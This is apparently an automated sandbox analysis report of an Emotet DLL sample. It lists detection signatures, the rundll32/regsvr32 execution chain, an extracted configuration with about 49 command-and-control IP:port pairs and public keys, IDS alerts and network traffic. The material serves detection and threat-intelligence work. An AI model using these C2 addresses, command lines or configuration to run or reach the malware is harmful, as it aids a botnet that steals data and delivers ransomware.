Edit tour

Windows Analysis Report
aOHLlvfakv.dll

Overview

General Information

Sample Name:	aOHLlvfakv.dll
Analysis ID:	828936
MD5:	362f48619364efe57ecd00f83d1bca62
SHA1:	ae142315393512fe3f3e03dc07aed88428b6e29b
SHA256:	a873911592c3ce95d36e009f40bb376f587ad0ba6971a150a2ac10c87a2465f5
Infos:

Detection

Emotet

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries the volume information (name, serial number etc) of a device

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Found inlined nop instructions (likely shell or obfuscated code)

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Registers a DLL

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64native

loaddll64.exe (PID: 9132 cmdline: loaddll64.exe "C:\Users\user\Desktop\aOHLlvfakv.dll" MD5: C676FC0263EDD17D4CE7D644B8F3FCD6)

conhost.exe (PID: 9020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2940 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 4616 cmdline: rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

regsvr32.exe (PID: 7556 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HRYKmuIti\sEzrCiJYDniwfP.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 3112 cmdline: regsvr32.exe /s C:\Users\user\Desktop\aOHLlvfakv.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 8668 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YDgQnzosNBGOURNE\pquwSRMRvDBcLA.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

rundll32.exe (PID: 4588 cmdline: rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,DllRegisterServer MD5: EF3179D498793BF4234F708D3BE28633)

regsvr32.exe (PID: 9004 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LwITFj\lcEQL.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

rundll32.exe (PID: 3296 cmdline: rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,__CPPdebugHook MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Emotet	While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.	GOLD CABIN MUMMY SPIDER Mealybug	http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1 http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/ http://ropgadget.com/posts/defensive_pcres.html https://adalogics.com/blog/the-state-of-advanced-code-injections https://asec.ahnlab.com/en/33600/	https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet

Malware Configuration

Threatname: Emotet

{"C2 list": ["91.121.146.47:8080", "66.228.32.31:7080", "182.162.143.56:443", "187.63.160.88:80", "167.172.199.165:8080", "164.90.222.65:443", "104.168.155.143:8080", "91.207.28.33:8080", "72.15.201.15:8080", "183.111.227.137:8080", "103.132.242.26:8080", "159.65.88.10:8080", "173.212.193.249:8080", "82.223.21.224:8080", "172.105.226.75:8080", "103.43.75.120:443", "167.172.253.162:8080", "1.234.2.232:8080", "159.89.202.34:443", "186.194.240.217:443", "185.4.135.165:8080", "139.59.126.41:443", "164.68.99.3:8080", "95.217.221.146:8080", "129.232.188.93:443", "45.176.232.124:443", "163.44.196.120:8080", "79.137.35.198:8080", "153.92.5.27:8080", "160.16.142.56:8080", "202.129.205.3:8080", "201.94.166.162:443", "119.59.103.152:8080", "153.126.146.25:7080", "188.44.20.25:443", "115.68.227.76:8080", "147.139.166.154:8080", "149.56.131.28:8080", "107.170.39.149:8080", "213.239.212.5:443", "197.242.150.244:8080", "206.189.28.199:8080", "5.135.159.50:443", "169.57.156.166:8080", "103.75.201.2:443", "110.232.117.186:8080", "94.23.45.86:4143", "45.235.8.30:8080", "101.50.0.91:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5LpP78wADAJA=", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2VJJV8wAlAJA="]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.3286848282.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.860427801.0000000001370000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.858909413.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.860809198.0000025255CD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_3	Yara detected Emotet	Joe Security
00000007.00000002.3285052145.0000000002410000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.858695133.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.860577207.000001B91A160000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.regsvr32.exe.2410000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.25255cd0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.1b91a160000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1370000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.25255cd0000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1370000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.2410000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.1b91a160000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 3 entries

Snort Signatures

ET CNC Feodo Tracker Reported CnC Server TCP group 23 - Source IP: 192.168.11.20 - Destination IP: 91.121.146.47

Timestamp:	192.168.11.2091.121.146.474979380802404344 03/17/23-17:41:58.374772
SID:	2404344
Source Port:	49793
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 7 - Source IP: 192.168.11.20 - Destination IP: 182.162.143.56

Timestamp:	192.168.11.20182.162.143.56497994432404312 03/17/23-17:42:13.021219
SID:	2404312
Source Port:	49799
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 5 - Source IP: 192.168.11.20 - Destination IP: 167.172.199.165

Timestamp:	192.168.11.20167.172.199.1654980880802404308 03/17/23-17:42:27.268480
SID:	2404308
Source Port:	49808
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 5 - Source IP: 192.168.11.20 - Destination IP: 164.90.222.65

Timestamp:	192.168.11.20164.90.222.65498104432404308 03/17/23-17:42:33.407520
SID:	2404308
Source Port:	49810
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 2 - Source IP: 192.168.11.20 - Destination IP: 104.168.155.143

Timestamp:	192.168.11.20104.168.155.1434981180802404302 03/17/23-17:42:37.517558
SID:	2404302
Source Port:	49811
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CNC Feodo Tracker Reported CnC Server TCP group 16 - Source IP: 192.168.11.20 - Destination IP: 66.228.32.31

Timestamp:	192.168.11.2066.228.32.314979570802404330 03/17/23-17:42:05.273202
SID:	2404330
Source Port:	49795
Destination Port:	7080
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aOHLlvfakv.dll	Virustotal: Detection: 53%			Perma Link
Source: aOHLlvfakv.dll	ReversingLabs: Detection: 28%

Antivirus detection for URL or domain

Source: https://186.194.240.217:443/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/0	Avira URL Cloud: Label: malware
Source: https://139.59.126.41/0/	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/p	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/wW	Avira URL Cloud: Label: malware
Source: https://66.228.32.31:7080/	Avira URL Cloud: Label: malware
Source: https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://66.228.32.31:7080/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://164.90.222.65/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://139.59.126.41/	Avira URL Cloud: Label: malware
Source: https://139.59.126.41/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/	Avira URL Cloud: Label: malware
Source: https://167.172.199.165:8080/D	Avira URL Cloud: Label: malware
Source: https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/d	Avira URL Cloud: Label: malware
Source: https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu//CW	Avira URL Cloud: Label: malware
Source: https://167.172.199.165:8080/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://139.59.126.41/jlu/_E	Avira URL Cloud: Label: malware
Source: https://95.217.221.146:8080/	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/L	Avira URL Cloud: Label: malware
Source: https://66.228.32.31:7080/#Ws	Avira URL Cloud: Label: malware
Source: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/	Avira URL Cloud: Label: malware
Source: https://186.194.240.217/3WC	Avira URL Cloud: Label: malware
Source: https://91.121.146.47:8080/	Avira URL Cloud: Label: malware

Source: 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Emotet {"C2 list": ["91.121.146.47:8080", "66.228.32.31:7080", "182.162.143.56:443", "187.63.160.88:80", "167.172.199.165:8080", "164.90.222.65:443", "104.168.155.143:8080", "91.207.28.33:8080", "72.15.201.15:8080", "183.111.227.137:8080", "103.132.242.26:8080", "159.65.88.10:8080", "173.212.193.249:8080", "82.223.21.224:8080", "172.105.226.75:8080", "103.43.75.120:443", "167.172.253.162:8080", "1.234.2.232:8080", "159.89.202.34:443", "186.194.240.217:443", "185.4.135.165:8080", "139.59.126.41:443", "164.68.99.3:8080", "95.217.221.146:8080", "129.232.188.93:443", "45.176.232.124:443", "163.44.196.120:8080", "79.137.35.198:8080", "153.92.5.27:8080", "160.16.142.56:8080", "202.129.205.3:8080", "201.94.166.162:443", "119.59.103.152:8080", "153.126.146.25:7080", "188.44.20.25:443", "115.68.227.76:8080", "147.139.166.154:8080", "149.56.131.28:8080", "107.170.39.149:8080", "213.239.212.5:443", "197.242.150.244:8080", "206.189.28.199:8080", "5.135.159.50:443", "169.57.156.166:8080", "103.75.201.2:443", "110.232.117.186:8080", "94.23.45.86:4143", "45.235.8.30:8080", "101.50.0.91:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5LpP78wADAJA=", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2VJJV8wAlAJA="]}

Source: unknown

HTTPS traffic detected: 164.90.222.65:443 -> 192.168.11.20:49810 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004040E5
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004088B7
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004088B9
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004111FA
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004082D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_00410D65
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_00420D70
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086C2
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086C6
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086DE
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_004086E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then push rbp	3_2_00408704
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004040E5
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004088B7
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004088B9
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004111FA
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004082D0
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_00410D65
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_00420D70
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086C2
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086C4
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086C6
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086DC
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086DE
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_004086E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4x nop then push rbp	4_2_00408704

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 159.65.88.10 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.105.226.75 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 164.90.222.65 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 186.194.240.217 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 103.132.242.26 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 104.168.155.143 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 159.89.202.34 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 91.121.146.47 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 91.207.28.33 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 103.43.75.120 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 72.15.201.15 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 82.223.21.224 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 173.212.193.249 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 187.63.160.88 80	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 66.228.32.31 7080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 185.4.135.165 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 183.111.227.137 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 95.217.221.146 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 164.68.99.3 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 182.162.143.56 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 139.59.126.41 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 167.172.253.162 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 1.234.2.232 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 167.172.199.165 8080	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2404308 ET CNC Feodo Tracker Reported CnC Server TCP group 5 192.168.11.20:49810 -> 164.90.222.65:443
Source: Traffic	Snort IDS: 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 192.168.11.20:49793 -> 91.121.146.47:8080
Source: Traffic	Snort IDS: 2404330 ET CNC Feodo Tracker Reported CnC Server TCP group 16 192.168.11.20:49795 -> 66.228.32.31:7080
Source: Traffic	Snort IDS: 2404312 ET CNC Feodo Tracker Reported CnC Server TCP group 7 192.168.11.20:49799 -> 182.162.143.56:443
Source: Traffic	Snort IDS: 2404308 ET CNC Feodo Tracker Reported CnC Server TCP group 5 192.168.11.20:49808 -> 167.172.199.165:8080
Source: Traffic	Snort IDS: 2404302 ET CNC Feodo Tracker Reported CnC Server TCP group 2 192.168.11.20:49811 -> 104.168.155.143:8080

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 91.121.146.47:8080
Source: Malware configuration extractor	IPs: 66.228.32.31:7080
Source: Malware configuration extractor	IPs: 182.162.143.56:443
Source: Malware configuration extractor	IPs: 187.63.160.88:80
Source: Malware configuration extractor	IPs: 167.172.199.165:8080
Source: Malware configuration extractor	IPs: 164.90.222.65:443
Source: Malware configuration extractor	IPs: 104.168.155.143:8080
Source: Malware configuration extractor	IPs: 91.207.28.33:8080
Source: Malware configuration extractor	IPs: 72.15.201.15:8080
Source: Malware configuration extractor	IPs: 183.111.227.137:8080
Source: Malware configuration extractor	IPs: 103.132.242.26:8080
Source: Malware configuration extractor	IPs: 159.65.88.10:8080
Source: Malware configuration extractor	IPs: 173.212.193.249:8080
Source: Malware configuration extractor	IPs: 82.223.21.224:8080
Source: Malware configuration extractor	IPs: 172.105.226.75:8080
Source: Malware configuration extractor	IPs: 103.43.75.120:443
Source: Malware configuration extractor	IPs: 167.172.253.162:8080
Source: Malware configuration extractor	IPs: 1.234.2.232:8080
Source: Malware configuration extractor	IPs: 159.89.202.34:443
Source: Malware configuration extractor	IPs: 186.194.240.217:443
Source: Malware configuration extractor	IPs: 185.4.135.165:8080
Source: Malware configuration extractor	IPs: 139.59.126.41:443
Source: Malware configuration extractor	IPs: 164.68.99.3:8080
Source: Malware configuration extractor	IPs: 95.217.221.146:8080
Source: Malware configuration extractor	IPs: 129.232.188.93:443
Source: Malware configuration extractor	IPs: 45.176.232.124:443
Source: Malware configuration extractor	IPs: 163.44.196.120:8080
Source: Malware configuration extractor	IPs: 79.137.35.198:8080
Source: Malware configuration extractor	IPs: 153.92.5.27:8080
Source: Malware configuration extractor	IPs: 160.16.142.56:8080
Source: Malware configuration extractor	IPs: 202.129.205.3:8080
Source: Malware configuration extractor	IPs: 201.94.166.162:443
Source: Malware configuration extractor	IPs: 119.59.103.152:8080
Source: Malware configuration extractor	IPs: 153.126.146.25:7080
Source: Malware configuration extractor	IPs: 188.44.20.25:443
Source: Malware configuration extractor	IPs: 115.68.227.76:8080
Source: Malware configuration extractor	IPs: 147.139.166.154:8080
Source: Malware configuration extractor	IPs: 149.56.131.28:8080
Source: Malware configuration extractor	IPs: 107.170.39.149:8080
Source: Malware configuration extractor	IPs: 213.239.212.5:443
Source: Malware configuration extractor	IPs: 197.242.150.244:8080
Source: Malware configuration extractor	IPs: 206.189.28.199:8080
Source: Malware configuration extractor	IPs: 5.135.159.50:443
Source: Malware configuration extractor	IPs: 169.57.156.166:8080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 94.23.45.86:4143
Source: Malware configuration extractor	IPs: 45.235.8.30:8080
Source: Malware configuration extractor	IPs: 101.50.0.91:8080

Source: Joe Sandbox View

ASN Name: RACKCORP-APRackCorpAU RACKCORP-APRackCorpAU

Source: Joe Sandbox View

JA3 fingerprint: 72a589da586844d7f0818ce684948eea

Source: global traffic

HTTP traffic detected: POST /pescnrsqtrnp/icjmpjlu/ HTTP/1.1Connection: Keep-AliveContent-Length: 0Host: 164.90.222.65

Source: Joe Sandbox View

IP Address: 110.232.117.186 110.232.117.186

Source: global traffic	TCP traffic: 192.168.11.20:49793 -> 91.121.146.47:8080
Source: global traffic	TCP traffic: 192.168.11.20:49795 -> 66.228.32.31:7080
Source: global traffic	TCP traffic: 192.168.11.20:49808 -> 167.172.199.165:8080
Source: global traffic	TCP traffic: 192.168.11.20:49811 -> 104.168.155.143:8080
Source: global traffic	TCP traffic: 192.168.11.20:49812 -> 91.207.28.33:8080
Source: global traffic	TCP traffic: 192.168.11.20:49814 -> 72.15.201.15:8080
Source: global traffic	TCP traffic: 192.168.11.20:49815 -> 183.111.227.137:8080
Source: global traffic	TCP traffic: 192.168.11.20:49822 -> 103.132.242.26:8080
Source: global traffic	TCP traffic: 192.168.11.20:49823 -> 159.65.88.10:8080
Source: global traffic	TCP traffic: 192.168.11.20:49824 -> 173.212.193.249:8080
Source: global traffic	TCP traffic: 192.168.11.20:49825 -> 82.223.21.224:8080
Source: global traffic	TCP traffic: 192.168.11.20:49831 -> 167.172.253.162:8080
Source: global traffic	TCP traffic: 192.168.11.20:49832 -> 1.234.2.232:8080
Source: global traffic	TCP traffic: 192.168.11.20:49840 -> 185.4.135.165:8080
Source: global traffic	TCP traffic: 192.168.11.20:49844 -> 164.68.99.3:8080
Source: global traffic	TCP traffic: 192.168.11.20:49845 -> 95.217.221.146:8080

Source: unknown

Network traffic detected: IP country count 18

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 91.121.146.47
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.32.31
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.32.31
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.32.31
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.32.31
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.32.31
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown	TCP traffic detected without corresponding DNS query: 187.63.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 187.63.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 187.63.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 187.63.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 187.63.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 167.172.199.165
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
